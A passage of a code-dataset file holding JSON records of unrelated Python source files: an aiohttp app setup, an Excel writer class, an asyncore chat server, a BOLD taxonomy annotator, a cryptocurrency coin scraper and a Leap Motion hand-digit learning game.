"PIL.Image.fromarray", "line_number": 124, "usage_type": "call"}, {"api_name": "PIL.Image", "line_number": 124, "usage_type": "name"}]} +{"seq_id": "274603771", "text": "import logging\n\nimport aiohttp_jinja2\nimport jinja2\nfrom aiohttp import web\n\nfrom ba.settings import get_config, BASE_DIR, config_path\nfrom ba.routes import setup_routes\nfrom ba.db import init_pg, close_pg\nfrom ba.middlewares import setup_middlewares\n\nfrom aiohttp_security import authorized_userid, SessionIdentityPolicy\nfrom aiohttp_security import setup as setup_security\nfrom aiohttp_session import setup as setup_session\nfrom aiohttp_session.redis_storage import RedisStorage\nimport aioredis\nfrom ba.db_auth import DBAuthorizationPolicy\n\nlog = logging.getLogger(__name__)\n\n\n\nasync def setup_redis(app):\n\n pool = await aioredis.create_redis_pool((app['config']['redis']['REDIS_HOST'], app['config']['redis']['REDIS_PORT']))\n\n async def close_redis(app):\n pool.close()\n await pool.wait_closed()\n\n app.on_cleanup.append(close_redis)\n app['redis_pool'] = pool\n return pool\n\n\n\n\n\n\n\n\n\nasync def current_user_ctx_processor(request):\n username = await authorized_userid(request)\n is_anonymous = not bool(username)\n return {'current_user': {'is_anonymous': is_anonymous}}\n\n\nasync def init_app(config):\n app = web.Application()\n app['config'] = config\n setup_routes(app)\n setup_middlewares(app)\n\n app.on_startup.append(init_pg)\n app.on_cleanup.append(close_pg)\n #db_pool = await init_db(app)\n\n redis_pool = await setup_redis(app)\n setup_session(app, RedisStorage(redis_pool))\n\n # needs to be after session setup because of `current_user_ctx_processor`\n aiohttp_jinja2.setup(\n app,\n loader=jinja2.FileSystemLoader(str(BASE_DIR / 'ba' / 'templates')),\n context_processors=[current_user_ctx_processor],\n )\n\n setup_security(app, SessionIdentityPolicy(), DBAuthorizationPolicy(app))\n\n log.debug(app['config'])\n\n return app\n\ndef main(configpath):\n config = get_config(configpath)\n logging.basicConfig(level=logging.DEBUG)\n app = init_app(config)\n web.run_app(app)\n\n\nif __name__ == '__main__':\n main(config_path)\n", "sub_path": "main.py", "file_name": "main.py", "file_ext": "py", "file_size_in_byte": 2023, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "60", "api": [{"api_name": "logging.getLogger", "line_number": 19, "usage_type": "call"}, {"api_name": "aioredis.create_redis_pool", "line_number": 25, "usage_type": "call"}, {"api_name": "aiohttp_security.authorized_userid", "line_number": 44, "usage_type": "call"}, {"api_name": "aiohttp.web.Application", "line_number": 50, "usage_type": "call"}, {"api_name": "aiohttp.web", "line_number": 50, "usage_type": "name"}, {"api_name": "ba.routes.setup_routes", "line_number": 52, "usage_type": "call"}, {"api_name": "ba.middlewares.setup_middlewares", "line_number": 53, "usage_type": "call"}, {"api_name": "ba.db.init_pg", "line_number": 55, "usage_type": "argument"}, {"api_name": "ba.db.close_pg", "line_number": 56, "usage_type": "argument"}, {"api_name": "aiohttp_session.setup", "line_number": 60, "usage_type": "call"}, {"api_name": "aiohttp_session.redis_storage.RedisStorage", "line_number": 60, "usage_type": "call"}, {"api_name": "aiohttp_jinja2.setup", "line_number": 63, "usage_type": "call"}, {"api_name": "jinja2.FileSystemLoader", "line_number": 65, "usage_type": "call"}, {"api_name": "ba.settings.BASE_DIR", "line_number": 65, "usage_type": "name"}, {"api_name": "aiohttp_security.setup", "line_number": 69, "usage_type": "call"}, {"api_name": "aiohttp_security.SessionIdentityPolicy", "line_number": 69, "usage_type": "call"}, {"api_name": "ba.db_auth.DBAuthorizationPolicy", "line_number": 69, "usage_type": "call"}, {"api_name": "ba.settings.get_config", "line_number": 76, "usage_type": "call"}, {"api_name": "logging.basicConfig", "line_number": 77, "usage_type": "call"}, {"api_name": "logging.DEBUG", "line_number": 77, "usage_type": "attribute"}, {"api_name": "aiohttp.web.run_app", "line_number": 79, "usage_type": "call"}, {"api_name": "aiohttp.web", "line_number": 79, "usage_type": "name"}, {"api_name": "ba.settings.config_path", "line_number": 83, "usage_type": "argument"}]} +{"seq_id": "373054732", "text": "from xlsxwriter import Workbook, worksheet\n\n\nclass ExcelWriter(Workbook):\n\n def __init__(self, path):\n\n super().__init__(path)\n self.curr_row = 0\n self.bold = self.add_format({'bold': True})\n self.percent = self.add_format({'num_format': '0.00\"%\"'})\n self.align_mid = self.add_format({'align': 'center'})\n\n def write_print_output(self, ws_name, ltr_nr, bwl_nr, text, key, print_output):\n if self.get_worksheet_by_name(ws_name) == None:\n ws = self.add_worksheet(ws_name)\n self.curr_row = 0\n else:\n ws = self.get_worksheet_by_name(ws_name)\n\n ws.write(self.curr_row, 0, text, self.bold)\n self.curr_row += 1\n for row in print_output[bwl_nr][ltr_nr][key]:\n ws.write(self.curr_row, 0, row)\n self.curr_row += 1\n self.curr_row += 3\n", "sub_path": "src/ExcelWriter.py", "file_name": "ExcelWriter.py", "file_ext": "py", "file_size_in_byte": 862, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "60", "api": [{"api_name": "xlsxwriter.Workbook", "line_number": 4, "usage_type": "name"}]} +{"seq_id": "513925634", "text": "# Self Contained Minion Server Master\nimport queue\nimport threading\nimport time\n\nimport socket\nimport asyncore\nimport asynchat\n\nxBUILD = 1\nxDEBUG = True\n\n# xHOST = socket.gethostname()\nxHOST = 'localhost'\nxPORT = 5050\n\nchat_room = {}\n\nclass ChatServer(asyncore.dispatcher):\n def __init__(self, host, port):\n asyncore.dispatcher.__init__(self, map=chat_room)\n self.create_socket()\n self.bind((host, port))\n self.listen(5)\n def handle_accept(self):\n pair = self.accept()\n if pair is not None:\n sock, addr = pair\n print('Incoming connection from %s' % repr(addr))\n handler = ChatHandler(sock)\n\nclass ChatHandler(asynchat.async_chat):\n def __init__(self, sock):\n asynchat.async_chat.__init__(self, sock=sock, map=chat_room)\n self.set_terminator(b'\\n')\n self.ibuffer = []\n self.obuffer = b''\n def collect_incoming_data(self, data):\n self.ibuffer.append(data)\n def found_terminator(self):\n msg = b''.join(self.ibuffer)\n print('Received:', msg)\n for handler in chat_room.values():\n if hasattr(handler, 'push'):\n handler.push(msg + b'\\n')\n self.ibuffer = []\n\n# main\nif __name__ == '__main__':\n global server\n server = ChatServer(xHOST, xPORT)\n print('Serving on %s:%s' % (repr(xHOST), repr(xPORT)))\n asyncore.loop(map=chat_room)\n", "sub_path": "master2.py", "file_name": "master2.py", "file_ext": "py", "file_size_in_byte": 1412, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "60", "api": [{"api_name": "asyncore.dispatcher", "line_number": 19, "usage_type": "attribute"}, {"api_name": "asyncore.dispatcher.__init__", "line_number": 21, "usage_type": "call"}, {"api_name": "asyncore.dispatcher", "line_number": 21, "usage_type": "attribute"}, {"api_name": "asynchat.async_chat", "line_number": 32, "usage_type": "attribute"}, {"api_name": "asynchat.async_chat.__init__", "line_number": 34, "usage_type": "call"}, {"api_name": "asynchat.async_chat", "line_number": 34, "usage_type": "attribute"}, {"api_name": "asyncore.loop", "line_number": 53, "usage_type": "call"}]} +{"seq_id": "108139685", "text": "\"\"\"\r\n\"\"\"\r\nfrom Bio import SeqIO\r\nimport argparse\r\n\r\nparser = argparse.ArgumentParser(description='Add taxonomy to BOLD fasta file')\r\nparser.add_argument('-t', '--taxonomy', dest='taxonomy', type=str, required=True)\r\nparser.add_argument('-g', '--gbif_taxonomy', dest='gbif', type=str, required=True)\r\nparser.add_argument('-b', '--bold_fasta', dest='bold', type=str, required=True)\r\nparser.add_argument('-o', '--output', dest='output', type=str, required=True)\r\nargs = parser.parse_args()\r\n\r\ndef make_taxon_dict():\r\n taxonDict = {}\r\n with open(args.taxonomy,\"r\") as taxonomy:\r\n for x in taxonomy:\r\n x = x.strip().split(\"\\t\")\r\n if x[0] != \"MDB2 Error: connect failedprocessid\":\r\n unknowns = [\"unknown kingdom\", \"unknown phylum\", \"unknown class\", \"unknown order\", \"unknown family\", \"unknown genus\", \"unknown species\"]\r\n for known in unknowns[len(x):]:\r\n x.append(known)\r\n valueCount = 0\r\n for value in x:\r\n if not value:\r\n x[valueCount] = unknowns[valueCount]\r\n valueCount += 1\r\n taxonDict[x[0]] = x\r\n return taxonDict\r\n\r\ndef make_kingdom_dict():\r\n kingdomDict = {}\r\n with open(args.gbif,\"r\") as gbif:\r\n for x in gbif:\r\n x = x.split(\"\\t\")\r\n if x[1] not in kingdomDict:\r\n kingdomDict[x[1]] = x[0]\r\n if x[2] not in kingdomDict:\r\n kingdomDict[x[2]] = x[0]\r\n if x[3] not in kingdomDict:\r\n kingdomDict[x[3]] = x[0]\r\n if x[4] not in kingdomDict:\r\n kingdomDict[x[4]] = x[0]\r\n if x[5] not in kingdomDict:\r\n kingdomDict[x[5]] = x[0]\r\n return kingdomDict\r\n\r\n\r\ndef add_taxonomy(taxonDict, kingdomDict):\r\n with open(args.bold, \"r\", encoding='windows-1252') as bold, open(args.output,\"a\") as output:\r\n for record in SeqIO.parse(bold, \"fasta\"):\r\n accession = str(record.description).split(\"|\")[0]\r\n if accession in taxonDict:\r\n if taxonDict[accession][1] in kingdomDict:\r\n kingdom = kingdomDict[taxonDict[accession][1]]\r\n elif taxonDict[accession][2] in kingdomDict:\r\n kingdom = kingdomDict[taxonDict[accession][2]]\r\n elif taxonDict[accession][3] in kingdomDict:\r\n kingdom = kingdomDict[taxonDict[accession][3]]\r\n elif taxonDict[accession][4] in kingdomDict:\r\n kingdom = kingdomDict[taxonDict[accession][4]]\r\n elif taxonDict[accession][5] in kingdomDict:\r\n kingdom = kingdomDict[taxonDict[accession][5]]\r\n else:\r\n #print accession+\" no kingdom\"\r\n kingdom = \"unknown kingdom\"\r\n output.write(\">BOLD|\"+accession+\"|\"+taxonDict[accession][-1]+\"|\"+kingdom+\"|\"+taxonDict[accession][1]+\"|\"+taxonDict[accession][2]+\"|\"+taxonDict[accession][3]+\"|\"+taxonDict[accession][4]+\"|\"+taxonDict[accession][5]+\"|\"+taxonDict[accession][-1]+\"\\n\")\r\n output.write(str(record.seq)+\"\\n\")\r\n\r\ndef main():\r\n taxonDict = make_taxon_dict()\r\n kingdomDict = make_kingdom_dict()\r\n add_taxonomy(taxonDict, kingdomDict)\r\n\r\nif __name__==\"__main__\":\r\n main()\r\n", "sub_path": "utilities/bold/add_taxonomy_bold.py", "file_name": "add_taxonomy_bold.py", "file_ext": "py", "file_size_in_byte": 3351, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "60", "api": [{"api_name": "argparse.ArgumentParser", "line_number": 6, "usage_type": "call"}, {"api_name": "Bio.SeqIO.parse", "line_number": 50, "usage_type": "call"}, {"api_name": "Bio.SeqIO", "line_number": 50, "usage_type": "name"}]} +{"seq_id": "29708190", "text": "from urllib.error import HTTPError, URLError\nimport utilites\nimport urllib.request\nimport os, json\n\ncoins_api = \"https://coincheckup.com/data/prod/201805292233/coins.json\"\nsite_name = \"https://coincheckup.com/\"\n\ntry:\n class AppURLopener(urllib.request.FancyURLopener):\n version = \"Mozilla/5.0\"\n app_url_opener = AppURLopener()\n\n #Getting Response from coins API\n utilites.printProcessMsg(\"Fetching data from coins API response\")\n coins_api_response = app_url_opener.open(coins_api)\n utilites.printSuccessMsg(\"Successfully got response from coins API\")\n\n #Create folders if not exists\n if not os.path.exists(\"images\"):\n os.makedirs(\"images\")\n if not os.path.exists(\"whitepapers\"):\n os.makedirs(\"whitepapers\")\n\n #Load JSON\n data = json.load(coins_api_response)\n\nexcept HTTPError as e:\n print(e)\nexcept URLError:\n print(\"Server down or incorrect domanin\")\nelse:\n coin_info = {}\n market_overview = []\n coin_resource_api_start_url = \"https://coincheckup.com/data/prod/201805292233/assets/\"\n\n #Define appropriate variables\n coin_id = coin_name = coin_symbol = coin_img_url = coin_img_name = website_url = whitepaper_url = whitepaper_name = \"\" \n\n #Retrieve and store data to data dictionary\n for coin in data[:5]:\n coin_resource_api = coin_resource_api_start_url + coin[\"id\"] + \".json\"\n print(\"Fetching Record for \" + coin[\"name\"] + \".....\")\n coin_rs_api_response = app_url_opener.open(coin_resource_api)\n coin_resource = json.load(coin_rs_api_response)\n\n if (coin[\"id\"] != None):\n coin_id = coin[\"id\"]\n\n if (coin[\"name\"] != None):\n coin_name = coin[\"name\"]\n\n if (coin[\"symbol\"] != None):\n coin_symbol = coin[\"symbol\"]\n\n\n if (coin_id != \"\" and coin_resource[\"logos\"][\"logo\"] != None):\n coin_img_url = site_name + \"images/coins/\" + coin_id + \"-\" + coin_resource[\"logos\"][\"logo\"] + \".png\" \n if (coin_img_url != \"\"):\n coin_img_name = coin_id + \".png\"\n\n \n if (coin_resource[\"research\"][\"website_url\"] != None):\n website_url = coin_resource[\"research\"][\"website_url\"]\n\n if (coin_resource[\"research\"][\"whitepaper_url\"] != None):\n whitepaper_url = coin_resource[\"research\"][\"whitepaper_url\"]\n if (whitepaper_url != None and whitepaper_url != \"n/a\"):\n whitepaper_name = coin_id + \".pdf\"\n\n\n #Populate Coin\n coin_info = {\n \"coin_id\": coin_id,\n \"coin_name\": coin_name,\n \"coin_symbol\": coin_symbol,\n \"coin_img_url\" : coin_img_url,\n \"coin_img_name\" : coin_img_name,\n \"website_url\" : website_url,\n \"whitepaper_url\" : whitepaper_url,\n \"whitepaper_name\" : whitepaper_name,\n }\n\n #Add Coin to dictionary of coins(market_overview)\n market_overview.append(coin_info)\n utilites.printSuccessMsg(\"Finished fetching records for all coins\")\n app_url_opener.close()\n\n utilites.printProcessMsg(\"Saving record into the CSV file\")\n #Saving coins into CSV file\n utilites.write_to_CSV(market_overview)\n utilites.printSuccessMsg(\"Finished saving record into CSV file\")", "sub_path": "coin_scraping.py", "file_name": "coin_scraping.py", "file_ext": "py", "file_size_in_byte": 3215, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "60", "api": [{"api_name": "urllib.error.request", "line_number": 10, "usage_type": "attribute"}, {"api_name": "urllib.error", "line_number": 10, "usage_type": "name"}, {"api_name": "utilites.printProcessMsg", "line_number": 15, "usage_type": "call"}, {"api_name": "utilites.printSuccessMsg", "line_number": 17, "usage_type": "call"}, {"api_name": "os.path.exists", "line_number": 20, "usage_type": "call"}, {"api_name": "os.path", "line_number": 20, "usage_type": "attribute"}, {"api_name": "os.makedirs", "line_number": 21, "usage_type": "call"}, {"api_name": "os.path.exists", "line_number": 22, "usage_type": "call"}, {"api_name": "os.path", "line_number": 22, "usage_type": "attribute"}, {"api_name": "os.makedirs", "line_number": 23, "usage_type": "call"}, {"api_name": "json.load", "line_number": 26, "usage_type": "call"}, {"api_name": "urllib.error.HTTPError", "line_number": 28, "usage_type": "name"}, {"api_name": "urllib.error.URLError", "line_number": 30, "usage_type": "name"}, {"api_name": "json.load", "line_number": 45, "usage_type": "call"}, {"api_name": "utilites.printSuccessMsg", "line_number": 86, "usage_type": "call"}, {"api_name": "utilites.printProcessMsg", "line_number": 89, "usage_type": "call"}, {"api_name": "utilites.write_to_CSV", "line_number": 91, "usage_type": "call"}, {"api_name": "utilites.printSuccessMsg", "line_number": 92, "usage_type": "call"}]} +{"seq_id": "14113880", "text": "import sys\r\nimport constants\r\nsys.path.insert(0, '../..')\r\nsys.path.insert(1, \"../../x86\")\r\nimport Leap\r\nfrom Leap import Finger, Bone\r\nimport pygame\r\nimport pickle\r\nimport time\r\nimport random\r\nimport numpy as np\r\nfrom pygameWindow import PYGAME_WINDOW\r\n\r\nclf = pickle.load( open('userData/classifier.p', 'rb') )\r\nglobal testData, programState, centerOfHandX, centerOfHandY, timeSinceWrong, previousPredicted, numPredictions, userRecord, timer\r\npreviousPredicted = 999\r\nprogramState = 0\r\nnumPredictions = 0\r\ntimeSinceWrong = 0\r\n\r\ndatabase = pickle.load(open('userData/database.p','rb'))\r\nuserName = raw_input('Please enter your name: ')\r\n \r\nif userName in database:\r\n print('Welcome back ' + userName + '.')\r\n userRecord = database[userName]\r\n database[userName][\"logins\"] += 1\r\n\r\nelse:\r\n database[userName] = {\"logins\":1, \"digit0attempted\":0, \"digit1attempted\":0, \"digit2attempted\":0, \"digit3attempted\":0, \"digit4attempted\":0, \"digit5attempted\":0, \"digit6attempted\":0, \"digit7attempted\":0, \"digit8attempted\":0, \"digit9attempted\":0, \"successful\":0, \"digit0success\":0, \"digit1success\":0, \"digit2success\":0, \"digit3success\":0, \"digit4success\":0, \"digit5success\":0, \"digit6success\":0, \"digit7success\":0, \"digit8success\":0, \"digit9success\":0}\r\n userRecord = database[userName]\r\n print('Welcome ' + userName + '.')\r\n\r\nexample_image = pygame.image.load(\"leap_example.bmp\")\r\nup_arrow = pygame.image.load(\"handup.bmp\")\r\ndown_arrow = pygame.image.load(\"handdown.bmp\")\r\nleft_arrow = pygame.image.load(\"handleft.bmp\")\r\nright_arrow = pygame.image.load(\"handright.bmp\")\r\ncorrect = pygame.image.load(\"correct.bmp\")\r\nincorrect = pygame.image.load(\"incorrect.bmp\")\r\nzero = pygame.image.load(\"zero.bmp\")\r\none = pygame.image.load(\"one.bmp\")\r\ntwo = pygame.image.load(\"two.bmp\")\r\nthree = pygame.image.load(\"three.bmp\")\r\nfour = pygame.image.load(\"four.bmp\")\r\nfive = pygame.image.load(\"five.bmp\")\r\nsix = pygame.image.load(\"six.bmp\")\r\nseven = pygame.image.load(\"seven.bmp\")\r\neight = pygame.image.load(\"eight.bmp\")\r\nnine = pygame.image.load(\"nine.bmp\")\r\nnum0 = pygame.image.load(\"0.bmp\")\r\nnum1 = pygame.image.load(\"1.bmp\")\r\nnum2 = pygame.image.load(\"2.bmp\")\r\nnum3 = pygame.image.load(\"3.bmp\")\r\nnum4 = pygame.image.load(\"4.bmp\")\r\nnum5 = pygame.image.load(\"5.bmp\")\r\nnum6 = pygame.image.load(\"6.bmp\")\r\nnum7 = pygame.image.load(\"7.bmp\")\r\nnum8 = pygame.image.load(\"8.bmp\")\r\nnum9 = pygame.image.load(\"9.bmp\")\r\n\r\ntestData = np.zeros((1,30),dtype='f')\r\n\r\npygameWindow = PYGAME_WINDOW()\r\n\r\nx = 0\r\ny = 0\r\n\r\nxMin = -200.0\r\nxMax = 200.0\r\nyMin = -200.0\r\nyMax = 200.0\r\n\r\ndef Scale(var, min1, max1, min2, max2):\r\n range1 = max1 - min1\r\n range2 = max2 - min2\r\n if (max1 == min1):\r\n scaled_value = float(range2) / 2 + min2\r\n \r\n else:\r\n scaled_value = ( ( float(var - min1) / range1 ) * range2) + min2\r\n return int(scaled_value)\r\n\r\ndef Handle_Frame(frame):\r\n global x,y, xMin, xMax, yMin, yMax, testData, previousPredicted, numPredictions\r\n hand = frame.hands[0]\r\n fingers = hand.fingers\r\n for finger in fingers:\r\n Handle_Finger(finger)\r\n testData = CenterData(testData)\r\n predictedClass = clf.Predict(testData)\r\n print(predictedClass)\r\n if (predictedClass == previousPredicted and programState == 2 and predictedClass == randInt):\r\n print(\"Num Predictions: \" + str(numPredictions))\r\n numPredictions = numPredictions + 1\r\n\r\n indexFingerList = fingers.finger_type(Finger.TYPE_INDEX)\r\n indexFinger = indexFingerList[0]\r\n distalPhalanx = indexFinger.bone(Bone.TYPE_DISTAL)\r\n tip = distalPhalanx.next_joint\r\n x = int(tip[0])\r\n y = int(tip[2])\r\n\r\n if ( x < xMin ):\r\n xMin = x\r\n if ( x > xMax ):\r\n xMax = x\r\n if (y < yMin ):\r\n yMin = y\r\n if ( y > yMax ):\r\n yMax = y\r\n\r\n previousPredicted = predictedClass\r\n text = \"Digit: \" + str(randInt) + \" Presented: \" + str(userRecord[\"digit\" + str(randInt) + \"attempted\"]) + \" Success: \" + str(userRecord[\"digit\" + str(randInt) + \"success\"])\r\n font = pygame.font.Font(pygame.font.get_default_font(), 15)\r\n text = font.render(text, True, (0,0,0))\r\n pygameWindow.screen.blit(text, (0,constants.pygameWindowDepth / 2))\r\n\r\ndef Handle_Finger(finger):\r\n for b in range (0,4):\r\n Handle_Bone(finger.bone(b), b)\r\n\r\ndef Handle_Bone(bone, b):\r\n global k, testData\r\n base = bone.prev_joint\r\n tip = bone.next_joint\r\n base_x, base_y, base_z = Handle_Vector_From_Leap(base)\r\n tip_x, tip_y, tip_z = Handle_Vector_From_Leap(tip)\r\n pygameWindow.Draw_Black_Line(base_x, base_z, tip_x, tip_z, 3 - bone.type)\r\n if (( b == 0) or (b == 3)):\r\n testData[0,k] = tip[0]\r\n testData[0,k+1] = tip[1]\r\n testData[0,k+2] = tip[2]\r\n k = k + 3\r\n\r\ndef Handle_Vector_From_Leap(v):\r\n global xMin, xMax, yMin, yMax\r\n\r\n x = Scale(v[0], xMin, xMax, 0, constants.pygameWindowWidth / 2 )\r\n y = Scale(v[1], yMin, yMax, 0, constants.pygameWindowDepth / 2 )\r\n z = Scale(v[2], yMin, yMax, 0, constants.pygameWindowDepth / 2 )\r\n\r\n return x, y, z\r\n\r\ndef CenterData(X):\r\n allXCoordinates = X[0,::3]\r\n meanValue = allXCoordinates.mean()\r\n X[0,::3] = allXCoordinates - meanValue\r\n \r\n allYCoordinates = X[0,1::3]\r\n meanValue = allYCoordinates.mean()\r\n X[0,1::3] = allYCoordinates - meanValue\r\n\r\n allZCoordinates = X[0,2::3]\r\n meanValue = allZCoordinates.mean()\r\n X[0,2::3] = allZCoordinates - meanValue\r\n return X\r\n\r\ndef HandleState0():\r\n global programState\r\n pygameWindow.Draw_Image(example_image, constants.pygameWindowWidth / 2, 0, (constants.pygameWindowWidth / 2), (constants.pygameWindowDepth / 2))\r\n if (len(frame.hands) > 0):\r\n programState = 1\r\n\r\ndef isHandCentered():\r\n global centerOfHandX, centerOfHandY\r\n centerOfHandX = Scale(frame.hands[0].fingers[2].bone(0).prev_joint[0], xMin, xMax, 0, constants.pygameWindowWidth / 2 )\r\n centerOfHandY = Scale(frame.hands[0].fingers[2].bone(0).prev_joint[2], yMin, yMax, 0, constants.pygameWindowDepth / 2 )\r\n\r\n middleX = constants.pygameWindowWidth / 4\r\n middleY = constants.pygameWindowDepth / 4\r\n\r\n if (centerOfHandX > ((50 + middleX * .75))):\r\n return 1\r\n\r\n elif (centerOfHandX < ((50 + middleX * .25))):\r\n return 2\r\n\r\n elif (centerOfHandY > ((100 + middleY * .75))):\r\n return 3\r\n\r\n elif (centerOfHandY < ((100 + middleY * 0.25))):\r\n return 4\r\n\r\n else:\r\n return 0\r\n\r\ndef HandleState1():\r\n global programState, timeSinceWrong, k, timer\r\n k = 0\r\n Handle_Frame(frame)\r\n\r\n \r\n if (isHandCentered() == 1):\r\n pygameWindow.Draw_Image(left_arrow, constants.pygameWindowWidth / 2, 0, (constants.pygameWindowWidth / 2), (constants.pygameWindowDepth / 2))\r\n timeSinceWrong = time.time()\r\n\r\n elif (isHandCentered() == 2):\r\n pygameWindow.Draw_Image(right_arrow, constants.pygameWindowWidth / 2, 0, (constants.pygameWindowWidth / 2), (constants.pygameWindowDepth / 2)) \r\n timeSinceWrong = time.time()\r\n\r\n elif (isHandCentered() == 3):\r\n pygameWindow.Draw_Image(up_arrow, constants.pygameWindowWidth / 2, 0, (constants.pygameWindowWidth / 2), (constants.pygameWindowDepth / 2))\r\n timeSinceWrong = time.time()\r\n\r\n elif (isHandCentered() == 4):\r\n pygameWindow.Draw_Image(down_arrow, constants.pygameWindowWidth / 2, 0, (constants.pygameWindowWidth / 2), (constants.pygameWindowDepth / 2))\r\n timeSinceWrong = time.time()\r\n \r\n else:\r\n if ((time.time() - timeSinceWrong) > 1 ):\r\n pygameWindow.Draw_Image(correct, constants.pygameWindowWidth / 2, 0, (constants.pygameWindowWidth / 2), (constants.pygameWindowDepth / 2))\r\n timer = time.time()\r\n programState = 2\r\n\r\n if (len(frame.hands) == 0):\r\n programState = 0\r\n\r\ndef HandleState2():\r\n global programState, randInt, k, timer, numPredictions\r\n\r\n k = 0\r\n Handle_Frame(frame)\r\n handImages = [zero, one, two, three, four, five, six, seven, eight, nine]\r\n handSymbols = [num0, num1, num2, num3, num4, num5, num6, num7, num8, num9]\r\n \r\n minimumTimer = 10 - (userRecord[\"digit\" + str(randInt) + \"attempted\"])\r\n if((10 - (userRecord[\"digit\" + str(randInt) + \"attempted\"])) < 5):\r\n minimumTimer = 5\r\n \r\n pygameWindow.Draw_Image(handSymbols[randInt], constants.pygameWindowWidth / 2, 0, (constants.pygameWindowWidth / 2), (constants.pygameWindowDepth / 2)) \r\n if (userRecord[\"digit\" + str(randInt) + \"attempted\"] < 6):\r\n pygameWindow.Draw_Image(handImages[randInt], constants.pygameWindowWidth / 2, constants.pygameWindowDepth / 2, (constants.pygameWindowWidth / 2), (constants.pygameWindowDepth / 2))\r\n \r\n if (isHandCentered() > 0):\r\n programState = 1\r\n\r\n if (len(frame.hands) == 0):\r\n programState = 0\r\n\r\n elif ((time.time() - timer) > minimumTimer):\r\n timer = time.time()\r\n pygameWindow.Draw_Image(incorrect, 0, 0, (constants.pygameWindowWidth), (constants.pygameWindowDepth)) \r\n userRecord[\"digit\" + str(randInt) + \"attempted\"] += 1\r\n randInt = random.randint(0, (userRecord[\"successful\"] / 3) + 1)\r\n numPredictions = 0\r\n\r\n elif (numPredictions == 10):\r\n userRecord[\"digit\" + str(randInt) + \"attempted\"] += 1\r\n programState = 3\r\n \r\n\r\ndef HandleState3():\r\n global programState, randInt, k, numPredictions, timer\r\n k = 0\r\n numPredictions = 0\r\n userRecord[\"successful\"] += 1\r\n userRecord[\"digit\" + str(randInt) + \"success\"] += 1\r\n randInt = random.randint(0, (userRecord[\"successful\"] / 3) + 1)\r\n Handle_Frame(frame)\r\n pygameWindow.Draw_Image(correct, 0, 0, (constants.pygameWindowWidth), (constants.pygameWindowDepth))\r\n pickle.dump(database, open('userData/database.p', 'wb'))\r\n\r\n if (isHandCentered() > 0):\r\n programState = 1\r\n\r\n elif (len(frame.hands) == 0):\r\n programState = 0\r\n \r\n else:\r\n timer = time.time()\r\n programState = 2\r\n\r\n#MAIN\r\ncontroller = Leap.Controller()\r\nrandInt = random.randint(0, (userRecord[\"successful\"] / 3) + 1)\r\nwhile True:\r\n k = 0\r\n pygameWindow.Prepare()\r\n frame = controller.frame()\r\n\r\n if (programState == 0):\r\n HandleState0()\r\n\r\n if (programState == 1):\r\n HandleState1()\r\n\r\n if (programState == 2):\r\n HandleState2()\r\n\r\n if (programState == 3):\r\n HandleState3()\r\n\r\n pygameWindow.Reveal()\r\n \r\n", "sub_path": "Del6/Del8.py", "file_name": "Del8.py", "file_ext": "py", "file_size_in_byte": 10444, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "60", "api": [{"api_name": "sys.path.insert", "line_number": 3, "usage_type": "call"}, {"api_name": "sys.path", "line_number": 3, "usage_type": "attribute"}, {"api_name": "sys.path.insert", "line_number": 4, "usage_type": "call"}, {"api_name": "sys.path", "line_number": 4, "usage_type": "attribute"}, {"api_name": "pickle.load", "line_number": 14, "usage_type": "call"}, {"api_name": "pickle.load", "line_number": 21, "usage_type": "call"}, {"api_name": "pygame.image.load", "line_number": 34, "usage_type": "call"}, {"api_name": "pygame.image", "line_number": 34, "usage_type": "attribute"}, {"api_name": "pygame.image.load", "line_number": 35, "usage_type": "call"}, {"api_name": "pygame.image", "line_number": 35, "usage_type": "attribute"}, {"api_name": "pygame.image.load", "line_number": 36, "usage_type": "call"}, {"api_name": "pygame.image", "line_number": 36, "usage_type": "attribute"}, {"api_name": "pygame.image.load", "line_number": 37, "usage_type": "call"}, {"api_name": "pygame.image", "line_number": 37, "usage_type": "attribute"}, {"api_name": "pygame.image.load", "line_number": 38, "usage_type": "call"}, {"api_name": "pygame.image", "line_number": 38, "usage_type": "attribute"}, {"api_name": "pygame.image.load", "line_number": 39, "usage_type": "call"}, {"api_name": "pygame.image", "line_number": 39, "usage_type": "attribute"}, {"api_name": "pygame.image.load", "line_number": 40, "usage_type": "call"}, {"api_name": "pygame.image", "line_number": 40, "usage_type": "attribute"}, {"api_name": "pygame.image.load", "line_number": 41, "usage_type": "call"}, {"api_name": "pygame.image", "line_number": 41, "usage_type": "attribute"}, {"api_name": "pygame.image.load", "line_number": 42, "usage_type": "call"}, {"api_name": "pygame.image", "line_number": 42, "usage_type": "attribute"}, {"api_name": "pygame.image.load", "line_number": 43, "usage_type": "call"}, {"api_name": "pygame.image", "line_number": 43, "usage_type": "attribute"}, {"api_name": "pygame.image.load", "line_number": 44, "usage_type": "call"}, {"api_name": "pygame.image", "line_number": 44, "usage_type": "attribute"}, {"api_name": "pygame.image.load", "line_number": 45, "usage_type": "call"}, {"api_name": "pygame.image", "line_number": 45, "usage_type": "attribute"}, {"api_name": "pygame.image.load", "line_number": 46, "usage_type": "call"}, {"api_name": "pygame.image", "line_number": 46, "usage_type": "attribute"}, {"api_name": "pygame.image.load", "line_number": 47, "usage_type": "call"}, {"api_name": "pygame.image", "line_number": 47, "usage_type": "attribute"}, {"api_name": "pygame.image.load", "line_number": 48, "usage_type": "call"}, {"api_name": "pygame.image", "line_number": 48, "usage_type": "attribute"}, {"api_name": "pygame.image.load", "line_number": 49, "usage_type": "call"}, {"api_name": "pygame.image", "line_number": 49, "usage_type": "attribute"}, {"api_name": "pygame.image.load", "line_number": 50, "usage_type": "call"}, {"api_name": "pygame.image", "line_number": 50, "usage_type": "attribute"}, {"api_name": "pygame.image.load", "line_number": 51, "usage_type": "call"}, {"api_name": "pygame.image", "line_number": 51, "usage_type": "attribute"}, {"api_name": "pygame.image.load", "line_number": 52, "usage_type": "call"}, {"api_name": "pygame.image", "line_number": 52, "usage_type": "attribute"}, {"api_name": "pygame.image.load", "line_number": 53, "usage_type": "call"}, {"api_name": "pygame.image", "line_number": 53, "usage_type": "attribute"}, {"api_name": "pygame.image.load", "line_number": 54, "usage_type": "call"}, {"api_name": "pygame.image", "line_number": 54, "usage_type": "attribute"}, 